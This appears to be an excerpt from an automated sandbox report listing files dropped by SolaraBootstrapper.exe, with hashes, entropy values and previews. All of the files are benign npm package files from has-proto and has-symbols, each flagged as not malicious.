Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/has-proto.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2200
Entropy (8bit):	5.267121454840437
Encrypted:	false
SSDEEP:	24:EIKpjXWTIppWAlnwRatzUI5tqNyk5CfA4We07eUZf/4HnWEf4G9/iuMdPnzG5Srq:E5yEpgFCABUf4GMratX9u0
MD5:	C7C043D2B99E62E36D7D4B1CAAAABA31
SHA1:	9F889EBEA4C24177B1DC36DD4D8614EB3CB1DC2A
SHA-256:	B40A780CB2E0895F19EC3A3E8F49DD2C5F176B77B780AE31BBE7A37FF612F3A6
SHA-512:	8B1003A752E73DB81E42DF56C7A9042AD8158809DF348194BC88FD0FE03009F1380A5CFEC048200DF7A2D691BB650309488B40393BBAA427181DF27D93A1D29C
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.3](https://github.com/inspect-js/has-proto/compare/v1.0.2...v1.0.3) - 2024-02-19..### Commits..- [types] add missing declaration file [`26ecade`](https://github.com/inspect-js/has-proto/commit/26ecade05d253bb5dc376945ee3186d1fbe334f8)..## [v1.0.2](https://github.com/inspect-js/has-proto/compare/v1.0.1...v1.0.2) - 2024-02-19..### Commits..- add types [`6435262`](https://github.com/inspect-js/has-proto/commit/64352626cf511c0276d5f4bb6be770a0bf0f8524).- [Dev Deps] update `@ljharb/eslint-config`, `aud`, `npmignore`, `tape` [`f16a5e4`](https://github.com/inspect-js/has-proto/commit/f16a5e4121651e551271419f9d60fdd3561fd82c).- [Refactor] tiny cleanup [`d1f1a4b`](https://github.com/inspect-js/has-proto/commit/d1f1a4bdc135f115a10f148ce302

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1067
Entropy (8bit):	5.095025073213139
Encrypted:	false
SSDEEP:	24:/rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:/aJHlxE3dQHOs5exm3ogFh
MD5:	D237EAC07663BDE2409DE740BA75EC97
SHA1:	74CEE463C60DE7E0BFD342362E2A4DDF5F1883D9
SHA-256:	0F0CA96F50793990031EBC488A38F7292FF70BCE8AB6A8E5EEDA674ABC32CCDF
SHA-512:	D7A2F0DAC429ABC40834B1887CBFFEC6487330328AEFED4A84ED2DA8FCD687A489C7E25C981B99EF0EC5C0B71EFBF6C30489D8204F295045AFAA488DD98D644E
Malicious:	false
Preview:	MIT License..Copyright (c) 2022 Inspect JS..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTI

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1623
Entropy (8bit):	4.94834013151433
Encrypted:	false
SSDEEP:	24:sdn1eI4IjAoqSsJRCMt4bjzaY795o/s/u98IJ1heIRIjvPvv:C1eI4I7qRVgWo/RIL0IRIjv
MD5:	70803FBC3D0A3A7493AA3B5C90D13642
SHA1:	F5F690EDC9957E0D5E870CA0FDC56545A0D2AE26
SHA-256:	B287AD12C573D4283CFAC523F31D566F0DC72153E3290466BCBD5CE6676FDE2C
SHA-512:	1F9E0A2B45C4905C38B4A02993B0E6E877F682802156FF938F893E823B34CD856B4CE8563539E0B0768AD939EF6799DEE80BA206B13E02285900F9E6AE4FD776
Malicious:	false
Preview:	# has-proto <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Does this environment have the ability to set the [[Prototype]] of an object on creation with `__proto__`?..## Example..```js.var hasProto = require('has-proto');.var assert = require('assert');..assert.equal(typeof hasProto(), 'boolean');.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..[package-url]: https://npmjs.org/package/has-proto.[npm-version-svg]: https://versionbadg.es/inspect-js/has-proto.svg.[deps-svg]: https://david-dm.org/inspect-js/has-proto.svg.[deps-url]: https://david-dm.org/inspect-js/has-proto.[dev-deps-svg]: https://david-dm.org/inspect-js/has-proto/dev-status.svg.[dev-deps-url]: https://david-dm.org/inspect-js/has-proto#info=devDependencies.[npm-badge

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.3177228566805255
Encrypted:	false
SSDEEP:	3:nPXbrMmEXKBi0W1on:TYzXQiin
MD5:	CABA6E33B83260CCB5C6AC6EC4D088D0
SHA1:	79B851A603F99F68A5D89BB8D1C5AF5630B55FE2
SHA-256:	29ED67590964F520AED83494876AE2D880B286B18527F0D9C0BA48803C52EA54
SHA-512:	8129D17D8CFB5B7DD7A36B6F8E6B260B72B84D5AACE3B27627020D09E84386278A8C050A1354CCC1DC313622305C9A52F6A9F1412935355254ED850CBAA55A86
Malicious:	false
Preview:	declare function hasProto(): boolean;..export = hasProto;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	302
Entropy (8bit):	4.855199516211327
Encrypted:	false
SSDEEP:	6:QcAmb8XqqPCVWKfzBvYmGYr+XqXJL+KPHWfVMMj5PtDJNvGbOAw:jPEqqsfzB7rjXFLPHW9H5PtDXGbOr
MD5:	6E64FB0AA43856E2353BC04AFD460EEB
SHA1:	4E953888F7D320D20235F1DB8791EEEB2302570C
SHA-256:	FB19C1BA8B8270A4D99D5E714A5AEEA0B20465862CD9E9F4D18D0D95F44B380C
SHA-512:	908D671D45F764FA77368FDEF21C9541BBAE98DDC1C955295CCD1F6501F3D3C89B9D46FB906A22AE15E8AD9DC71590F2BB6E40036D78901F9732B1135F241CC3
Malicious:	false
Preview:	'use strict';..var test = {..__proto__: null,..foo: {}.};..var $Object = Object;../** @type {import('.')} */.module.exports = function hasProto() {..// @ts-expect-error: TS errors on an inherited property for some reason..return { __proto__: test }.foo === test.foo...&& !(test instanceof $Object);.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2004
Entropy (8bit):	5.10717712101436
Encrypted:	false
SSDEEP:	48:1MfsMRYCZU547ag/fIRYsEg4jCoa3+XRsdEmfSowg:1M0C9xb3jCoa3+XR6fN
MD5:	CCB4058E21EB78DD88D3A003DC3CC489
SHA1:	6CA0A0F4F54EE4444E0FAED74F99FAA76A9F52BD
SHA-256:	30502A11630AA5653C55AC39885E3AEB0F7BFD85D6EED1D2BEC2A00B7F6A1109
SHA-512:	1A6099515F97E62D1F1CA6F2E4CB6E1D11BE8051318836C3111C863D0F7984CB04E76565178CA8F9940022BBDFA6E498A985E0227451DF4BD3A65D767C149ED4
Malicious:	false
Preview:	{.."name": "has-proto",.."version": "1.0.3",.."description": "Does this environment have the ability to get the [[Prototype]] of an object on creation with `__proto__`?",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."lint": "eslint --ext=js,mjs .",..."postlint": "tsc -p .",..."pretest": "npm run lint",..."tests-only": "tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/inspect-js/has-proto.git"..},.."keywor

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	477
Entropy (8bit):	4.81749295695614
Encrypted:	false
SSDEEP:	6:QcALFElFu0BqRpZtAJRojSd/tyiArR1hbGyGQI5fRuUygfLzRr9/EEjlIzeTS:jSouldyJRojw4xmQ6JuEL99nlqeW
MD5:	74A701DD99ACAAEA016EF7607B6C8E6F
SHA1:	68F0871975E1D73A0244981E23325006FE9F2D8C
SHA-256:	9A3B014D9A41F895886B42A9E7B71C21C56F52840B3439B555438C1E89F68897
SHA-512:	136F2A3363EEE8349A9A9F195E3AC0B91F96E7CE7DE53762222B2265153528B93A87252FBF8F4756F8067996CF6A6A6D319DE7235E184652DCEF137428215B97
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var hasProto = require('../');..test('hasProto', function (t) {..var result = hasProto();..t.equal(typeof result, 'boolean', 'returns a boolean (' + result + ')');...var obj = { __proto__: null };..if (result) {...t.notOk('toString' in obj, 'null object lacks toString');..} else {...t.ok('toString' in obj, 'without proto, null object has toString');...t.equal(obj.__proto__, null); // eslint-disable-line no-proto..}...t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\tsconfig.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3611
Entropy (8bit):	4.147019083760396
Encrypted:	false
SSDEEP:	48:x80prTY8LBtkyo/8iDloqIcofzT9gOvLz6Do30TpGiyU8vG:BvB28yoqKNNS0kwZU8vG
MD5:	28078909413979BA4F10E7CC5387E4F4
SHA1:	9523D0B767DA3D695A77A01C05AC3320727E8B39
SHA-256:	B772FC0E85FE374BB32302CDBC08C8854D6A679BCF7F4F7B8DA28098E2979521
SHA-512:	7E19237E46CF2E77EADB44CA64EA173A48C83CFB84FA1CDFABD1DCA699BFAAE74D749B39B705A4ADE4AF05FD0CFC8D6563E7C1D0B86DAB11D01B6038D0DD541C
Malicious:	false
Preview:	{. "compilerOptions": {. /* Visit https://aka.ms/tsconfig to read more about this file /.. / Projects /.. / Language and Environment /. "target": "ESNext", / Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /. // "lib": [], / Specify a set of bundled library declaration files that describe the target runtime environment. /. // "noLib": true, / Disable including any library files, including the default lib.d.ts. /. "useDefineForClassFields": true, / Emit ECMAScript-standard-compliant class fields. /. // "moduleDetection": "auto", / Control what method is used to detect module-format JS files. /.. / Modules /. "module": "commonjs", / Specify what module code is generated. */. // "rootDir": "./",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.656887119948345
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHI0FEmpRERZGbty4ni6AXWHfFpHIcR7GTIGDJGv:ExL0UxNSHIt2RI0tyZrQnkzV4
MD5:	117C2ABA69B8C17D3AD9957665A0C13F
SHA1:	F77BD5556F623A993A67C463DEBDC0C69178BFCB
SHA-256:	15B0BD2D80EE6D32AF3C8761FC9007606A5EC9CF605E4CA2A214EEF8BE564FCE
SHA-512:	FE3B4D9962410A8B067191702FB83C620BCCF15EB5930D40FC4BF7011954E5DFAC282CBBBA5A3D70396CB493F4F3BBAB02D0E0204C0CC419D5D6A8C8ADFF7136
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."max-statements-per-line": [2, { "max": 2 }],..."no-magic-numbers": 0,..."multiline-comment-style": 0,..}.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	582
Entropy (8bit):	4.705597712370831
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMGvGplgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgClg7g1GegJ9gEz4D
MD5:	534BD30C05DFCF5B2DAE9ABECE5FC14C
SHA1:	5AD12F14810DF4B34EFD7A55407041FE91967DE3
SHA-256:	E777D06BAFDCD1D459ABCBDC03AC52357B59C248614DC6143D8D02EBFB4AEF15
SHA-512:	132BCEE4EA7ABA788C26C4E09C3260567CBD139321338D4C93EE4CC93B1E87238A0AFBAD7FAE063F8022E8E227E0FED3A5F2924BBF6E861AAE7274FDA3152574
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/has-symbols.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7690
Entropy (8bit):	5.285517314682914
Encrypted:	false
SSDEEP:	96:E5yEtQnY/szbKNRSXwx+Z5cNSQ7FbgXcwujzi3sDpiIRCYxmtUF:EgHGwWRk7zcoIMXCzicDb1mtQ
MD5:	789FF6F17912BF43BBDE1FF15FF2076E
SHA1:	C2B3619116F52CB400AAAA8FFF9B203114886AC2
SHA-256:	B6B4854BAAD1A88E8C338317DC21B1E2C5702C96B9EE38E7A429B53B6D424431
SHA-512:	97F67463F7C36E4E0CD0DA0456C24F511AC1FE333CA0431CDC8AFCFD5218AED72D165922E32CA391FE6D33F6A5840FC214BCC0C8BB348DE187EB018804BF80D2
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.3](https://github.com/inspect-js/has-symbols/compare/v1.0.2...v1.0.3) - 2022-03-01..### Commits..- [actions] use `node/install` instead of `node/run`; use `codecov` action [`518b28f`](https://github.com/inspect-js/has-symbols/commit/518b28f6c5a516cbccae30794e40aa9f738b1693).- [meta] add `bugs` and `homepage` fields; reorder package.json [`c480b13`](https://github.com/inspect-js/has-symbols/commit/c480b13fd6802b557e1cef9749872cb5fdeef744).- [actions] reuse common workflows [`01d0ee0`](https://github.com/inspect-js/has-symbols/commit/01d0ee0a8d97c0947f5edb73eb722027a77b2b07).- [actions] update codecov uploader [`6424ebe`](https://github.com/inspect-js/has-symbols/commit/6424ebe86b2c9c7c3d2e9bd4413a4e4f168cb275).- [Dev Deps] update

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.103097172056218
Encrypted:	false
SSDEEP:	24:SPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:ksaJHlxE3dQHOs5exm3ogFh
MD5:	AFEE57A289508ED4DF3456667778AAF6
SHA1:	FF97D906C193A1066D1853D9E4EF458281C8672D
SHA-256:	206C1ADCF206DC0031B11232F5B054EC5F1662407AB1CA415247921CAB2068AB
SHA-512:	7712DB3676F2478282A12D5180679C73241E80EDCD1F58696A0D8AA1D05A0FA705677C9C3E53920AEED5E9657EBE3DCF0B726DA6D7A6EE1EF526E2D84B68B2E0
Malicious:	false
Preview:	MIT License..Copyright (c) 2016 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2044
Entropy (8bit):	5.0639433319815925
Encrypted:	false
SSDEEP:	48:f1eI4ITUqpRp9bWt8hvVO5ZC7k7k18DOv5EGPIL0IaISv:dXFnpR1P9cDOv50LxDc
MD5:	540771BC2F5479EF889BEE342AE45158
SHA1:	F237D15E79C3F8015193CA4D46A2CEEF631EE9BC
SHA-256:	A062B27EE12E84E310041D05D10D69AC2D7076CBA1FC698BAE8A4E40A15897EC
SHA-512:	2BD925725626F2B22BF054B13C39105522E3DFCCF173E8662196CF56F81BAF8A465E5E7A6E80A417FAE4D87B9063CEEF6C238B33AE79AE822384D85EF0244B8E
Malicious:	false
Preview:	# has-symbols <sup>[![Version Badge][2]][1]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][5]][6].[![dev dependency status][7]][8].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][11]][1]..Determine if the JS environment has Symbol support. Supports spec, or shams...## Example..```js.var hasSymbols = require('has-symbols');..hasSymbols() === true; // if the environment has native Symbol support. Not polyfillable, not forgeable...var hasSymbolsKinda = require('has-symbols/shams');.hasSymbolsKinda() === true; // if the environment has a Symbol sham that mostly follows the spec..```..## Supported Symbol shams. - get-own-property-symbols [npm](https://www.npmjs.com/package/get-own-property-symbols) \| [github](https://github.com/WebReflection/get-own-property-symbols). - core-js [npm](https://www.npmjs.com/package/core-js) \| [github](https://github.com/zloirock/core-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.800891424933416
Encrypted:	false
SSDEEP:	12:as0I1hrB8JFQOoZa6OZZa6O5u0O2qeFW2RhDw:as/1NB8LIZTSZTx0rW2Rm
MD5:	1282693C4D8FA15C683C5F633C9108BC
SHA1:	645932A3805F7C0E5715AFDF3018E503F142DC92
SHA-256:	2874F6CF003018E7B47626144B9F7CB2264A8519C71AAAB88562815B2416D3D2
SHA-512:	A9183DD879F013CA4F59EF487FB0873E99DB1E80124F40283861CC44F41E99B6AE33463FFE186286FC1F327EB75B72FD7DB4D3FD21A53210AAE25FE4781EA57C
Malicious:	false
Preview:	'use strict';..var origSymbol = typeof Symbol !== 'undefined' && Symbol;.var hasSymbolSham = require('./shams');..module.exports = function hasNativeSymbols() {..if (typeof origSymbol !== 'function') { return false; }..if (typeof Symbol !== 'function') { return false; }..if (typeof origSymbol('foo') !== 'symbol') { return false; }..if (typeof Symbol('bar') !== 'symbol') { return false; }...return hasSymbolSham();.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2648
Entropy (8bit):	5.050751970640803
Encrypted:	false
SSDEEP:	48:Hs9Rp147agO60lGhoRYsEg46P6VNsmN/tDX6q+dqImfSog:KRAg6fhT3iAv/xX6q+d2f4
MD5:	854E83356C304640E79EDEA88870CB14
SHA1:	6D44529B5ED6731668441E5E5F8407263DAB7679
SHA-256:	2DE994869BDA3598116944312CFE5E2383F9CEA9DF05D12B499D704CBE20EC2D
SHA-512:	65AE09EB6BC67A756B4F89BE4636741B9CB555EC7C793F29FE7323FD98EA5B5862F14A5120F286D123DC2C5AF5CF4D8B66C1FA8BCBD11903DAA3D790DD20F0FA
Malicious:	false
Preview:	{.."name": "has-symbols",.."version": "1.0.3",.."description": "Determine if the JS environment has Symbol support. Supports spec, or shams.",.."main": "index.js",.."scripts": {..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."pretest": "npm run --silent lint",..."test": "npm run tests-only",..."posttest": "aud --production",..."tests-only": "npm run test:stock && npm run test:staging && npm run test:shams",..."test:stock": "nyc node test",..."test:staging": "nyc node --harmony --es-staging test",..."test:shams": "npm run --silent test:shams:getownpropertysymbols && npm run --silent test:shams:corejs",..."test:shams:corejs": "nyc node test/shams/core-js.js",..."test:shams:getownpropertysymbols": "nyc node test/shams/get-own-property-symbols.js",..."lint": "eslint --ext=js,mjs .",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git t

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\shams.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	5.070537386095776
Encrypted:	false
SSDEEP:	48:5F5ZFAZFEBCaAjNXXGbhmjyGbvwZk9cs3iiCcHWK6jB9b:5SrSIMnb
MD5:	D84AA1A07B111DCBE4C4A887E147ED14
SHA1:	2C276EB6E3FCD4EE774E949FD4F9C33ABDE7D6C8
SHA-256:	5BA1A47350DCE55BE2C198C791DF52FA013BAC2AD8D7DCD7D67726C08A4231F1
SHA-512:	172F8E3BFE0BEBDF2BDFB684C8A74B28DA810733F720E0CEA963B99D22E62A7DE85759620ADA2B4282F7946F8744F3388492A0EA95A6254E28241B97C40F9324
Malicious:	false
Preview:	'use strict';../* eslint complexity: [2, 18], max-statements: [2, 33] */.module.exports = function hasSymbols() {..if (typeof Symbol !== 'function' \|\| typeof Object.getOwnPropertySymbols !== 'function') { return false; }..if (typeof Symbol.iterator === 'symbol') { return true; }...var obj = {};..var sym = Symbol('test');..var symObj = Object(sym);..if (typeof sym === 'string') { return false; }...if (Object.prototype.toString.call(sym) !== '[object Symbol]') { return false; }..if (Object.prototype.toString.call(symObj) !== '[object Symbol]') { return false; }...// temp disabled per https://github.com/ljharb/object.assign/issues/17..// if (sym instanceof Symbol) { return false; }..// temp disabled per https://github.com/WebReflection/get-own-property-symbols/issues/4..// if (!(symObj instanceof Symbol)) { return false; }...// if (typeof Symbol.prototype.toString !== 'function') { return false; }..// if (String(sym) !== Symbol.prototype.toString.call(sym)) { return false; }...var symVal

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	4.910385945833464
Encrypted:	false
SSDEEP:	12:jSXFky7xfBX/JBJJigrQzJFm6NrQQQJFmVQESQ0Jw3U0S:jEFky1fBX/JB9czLm6NcQQLmVQESQ0JJ
MD5:	41C0F79988143019F41A2C66AEDFF688
SHA1:	C388D5615B642D2CFFCAE765A5E920A1389DB994
SHA-256:	B2EDDC5A76E6A43738847679126EF698EC8AD36993045207CC1323D1F89710D6
SHA-512:	CD8AAE97D0EC0141BD522573190D7BE71E4960C3315BA5C86FDDD863B87412ACA81DB940A5786DC1D2C5A0940A3FCCA7B37EE5134FBC730F9C6849ACB73215C4
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var hasSymbols = require('../');.var runSymbolTests = require('./tests');..test('interface', function (t) {..t.equal(typeof hasSymbols, 'function', 'is a function');..t.equal(typeof hasSymbols(), 'boolean', 'returns a boolean');..t.end();.});..test('Symbols are supported', { skip: !hasSymbols() }, function (t) {..runSymbolTests(t);..t.end();.});..test('Symbols are not supported', { skip: hasSymbols() }, function (t) {..t.equal(typeof Symbol, 'undefined', 'global Symbol is undefined');..t.equal(typeof Object.getOwnPropertySymbols, 'undefined', 'Object.getOwnPropertySymbols does not exist');..t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\test\shams\core-js.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	723
Entropy (8bit):	4.930198577306373
Encrypted:	false
SSDEEP:	12:jS4eajo9TQv4MkIAZX1FkEQ4LQdJJywRNK090EcXbM+NfJMJQdN/RKHibw:jyaE2v4MBmlFkYLQdlD3aEcY+NfSJQd+
MD5:	DA9C99E70981FFF0BCCEE95D33C7D9A3
SHA1:	B0EDC06CAE4A48128C28B6E567FB730D3E598A40
SHA-256:	79BE6713DD12A209CC17CB866AED4753CA863451247C9262BA69E612D2201CC3
SHA-512:	9EB3C1DE2BB029089A3B522D3A2D144D93D1958E7F11ECE2EACEF1FC3F6166EFFA1841280142355094E67D3E7EB66FEEDEF21B522E13469D37479A92F7F9E675
Malicious:	false
Preview:	'use strict';..var test = require('tape');..if (typeof Symbol === 'function' && typeof Symbol() === 'symbol') {..test('has native Symbol support', function (t) {...t.equal(typeof Symbol, 'function');...t.equal(typeof Symbol(), 'symbol');...t.end();..});..return;.}..var hasSymbols = require('../../shams');..test('polyfilled Symbols', function (t) {../* eslint-disable global-require /..t.equal(hasSymbols(), false, 'hasSymbols is false before polyfilling');..require('core-js/fn/symbol');..require('core-js/fn/symbol/to-string-tag');...require('../tests')(t);...var hasSymbolsAfter = hasSymbols();..t.equal(hasSymbolsAfter, true, 'hasSymbols is true after polyfilling');../ eslint-enable global-require */..t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\test\shams\get-own-property-symbols.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	686
Entropy (8bit):	4.913225881075272
Encrypted:	false
SSDEEP:	12:jS4eajo9TQv4MkIAZX1FkEQ4LQdJJywRNsdbM+NfJMJQdN/RKHibw:jyaE2v4MBmlFkYLQdlDs++NfSJQdN/4d
MD5:	35AF75F8D40D693FDC9FBAEEFCE31312
SHA1:	2342D6E47A7220B342249BC039FC9CCD27A1BA9B
